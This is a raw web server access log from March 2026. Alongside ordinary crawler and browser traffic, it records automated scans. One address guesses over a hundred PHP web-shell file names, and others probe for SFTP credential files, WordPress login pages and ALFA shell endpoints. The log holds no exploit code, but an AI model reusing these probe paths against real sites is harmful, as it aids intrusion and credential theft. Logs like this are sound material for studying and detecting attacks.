Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 87.106.187.36 - - [18/Mar/2026:20:00:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://twitter.com/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 144.76.32.190 - - [18/Mar/2026:20:24:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" 111.172.249.49 - - [18/Mar/2026:20:53:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.152.43.53 - - [18/Mar/2026:21:19:35 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 93.152.40.59 - - [18/Mar/2026:21:19:35 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 144.91.103.84 - - [18/Mar/2026:21:22:29 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 87.106.187.36 - - [18/Mar/2026:21:59:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0" 165.232.190.108 - - [18/Mar/2026:23:01:29 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 40.76.118.45 - - [18/Mar/2026:23:26:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.159.143.139 - - [18/Mar/2026:22:56:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.148.92 - - [18/Mar/2026:23:58:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.89.254.180 - - [19/Mar/2026:00:30:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 87.249.139.165 - - [19/Mar/2026:00:24:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.232.240 - - [19/Mar/2026:01:27:48 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:27:51 +0300] "GET //tfm.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:02 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:23 +0300] "GET /bo.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:40 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:43 +0300] "GET /vanda.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:47 +0300] "GET /amp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:49 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:52 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:55 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:57 +0300] "GET /hots.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:59 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:01 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:04 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:08 +0300] "GET /44.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:11 +0300] "GET /public/ws49.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:14 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:16 +0300] "GET /sa.php7 HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:17 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:20 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:22 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:24 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:26 +0300] "GET /varb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:29 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:31 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:34 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:38 +0300] "GET /abrand.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:40 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:44 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:33 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:22 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:26 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:52 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:55 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:57 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:00 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:45 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:48 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:17 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:45 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:13 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:14 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:17 +0300] "GET /maul.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:52 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:54 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:57 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:59 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:02 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:05 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:09 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:54 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:57 +0300] "GET /zc-104.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:30:34 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:06 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:37 +0300] "GET /okxh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:40 +0300] "GET /rzki.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:58 +0300] "GET /55b76.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:02 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:28 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:31 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:35 +0300] "GET /w3lls.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:38 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:39 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:43 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:47 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:39 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:11 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:11 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:50 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:06 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:10 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:48 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:52 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:54 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:18 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:07 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:21 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:24 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:26 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:29 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:33 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:37 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:39 +0300] "GET /6kDPjgFTmvS.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:42 +0300] "GET /tx78.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:45 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:47 +0300] "GET /ws49.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:49 +0300] "GET /56c53.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:54 +0300] "GET /public/file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:58 +0300] "GET /144.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:01 +0300] "GET /clss.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:27:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:27:57 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:00 +0300] "GET /RIP.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:14 +0300] "GET /wp-ssfc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:15 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:18 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:21 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:24 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:27 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:29 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:29:33 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:55 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:58 +0300] "GET //nw.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:25 +0300] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:58 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:01 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:14 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:29 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:33:39 +0300] "GET /d12.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:27 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:42 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:35:15 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:06 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:10 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:19 +0300] "GET /ws75.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:28:23 +0300] "GET /ws78.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:49 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:31:50 +0300] "GET /lm15.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:31 +0300] "GET /5b9ac.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:34:46 +0300] "GET /a5e0a.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:09 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:16 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:32:20 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:31 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [19/Mar/2026:01:36:34 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 194.5.48.156 - - [19/Mar/2026:02:29:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 216.26.255.110 - - [19/Mar/2026:02:37:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 93.158.90.36 - - [19/Mar/2026:04:46:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 206.135.170.112 - - [19/Mar/2026:05:08:49 +0300] "GET http://eliteewallet.com/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" 93.158.90.42 - - [19/Mar/2026:04:46:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 170.106.72.93 - - [19/Mar/2026:04:46:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.131.23.154 - - [19/Mar/2026:05:37:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 149.102.225.182 - - [19/Mar/2026:05:53:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 109.199.118.129 - - [19/Mar/2026:07:30:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 54.224.53.207 - - [19/Mar/2026:07:19:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 54.224.53.207 - - [19/Mar/2026:07:19:25 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 52.36.122.242 - - [19/Mar/2026:09:02:26 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52" 115.45.43.251 - - [19/Mar/2026:09:50:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3016.27 Safari/537.36 QIHU 360EE" 129.226.93.214 - - [19/Mar/2026:10:01:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.71 - - [19/Mar/2026:10:50:52 +0300] "GET /admin/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.130.32.245 - - [19/Mar/2026:10:48:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 220.181.108.166 - - [19/Mar/2026:12:34:51 +0300] "GET /car-financing-loan/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 119.249.100.45 - - [19/Mar/2026:12:34:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.120 - - [19/Mar/2026:12:34:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.177 - - [19/Mar/2026:12:34:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.50 - - [19/Mar/2026:12:34:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.238 - - [19/Mar/2026:12:35:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.90 - - [19/Mar/2026:12:34:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 202.46.62.2 - - [19/Mar/2026:12:35:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.141 Safari/537.36" 20.119.65.177 - - [19/Mar/2026:12:54:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 120.205.70.102 - - [19/Mar/2026:12:26:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 220.181.51.90 - - [19/Mar/2026:12:35:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 85.137.48.167 - - [19/Mar/2026:13:48:10 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.157.174.69 - - [19/Mar/2026:15:06:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.22.72.142 - - [19/Mar/2026:15:34:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 23.22.72.142 - - [19/Mar/2026:15:34:13 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 192.159.99.205 - - [19/Mar/2026:15:35:58 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.159.99.205 - - [19/Mar/2026:15:35:34 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 192.159.99.205 - - [19/Mar/2026:15:35:34 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.159.99.205 - - [19/Mar/2026:15:35:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.159.99.205 - - [19/Mar/2026:15:35:34 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.159.99.205 - - [19/Mar/2026:15:35:34 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 180.148.25.182 - - [19/Mar/2026:15:44:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.165.69.68 - - [19/Mar/2026:15:54:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.42.111.213 - - [19/Mar/2026:16:18:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.214.186.167 - - [19/Mar/2026:17:18:14 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.131.155.100 - - [19/Mar/2026:16:54:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" 34.230.57.103 - - [19/Mar/2026:16:37:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 61.186.243.6 - - [19/Mar/2026:18:17:55 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 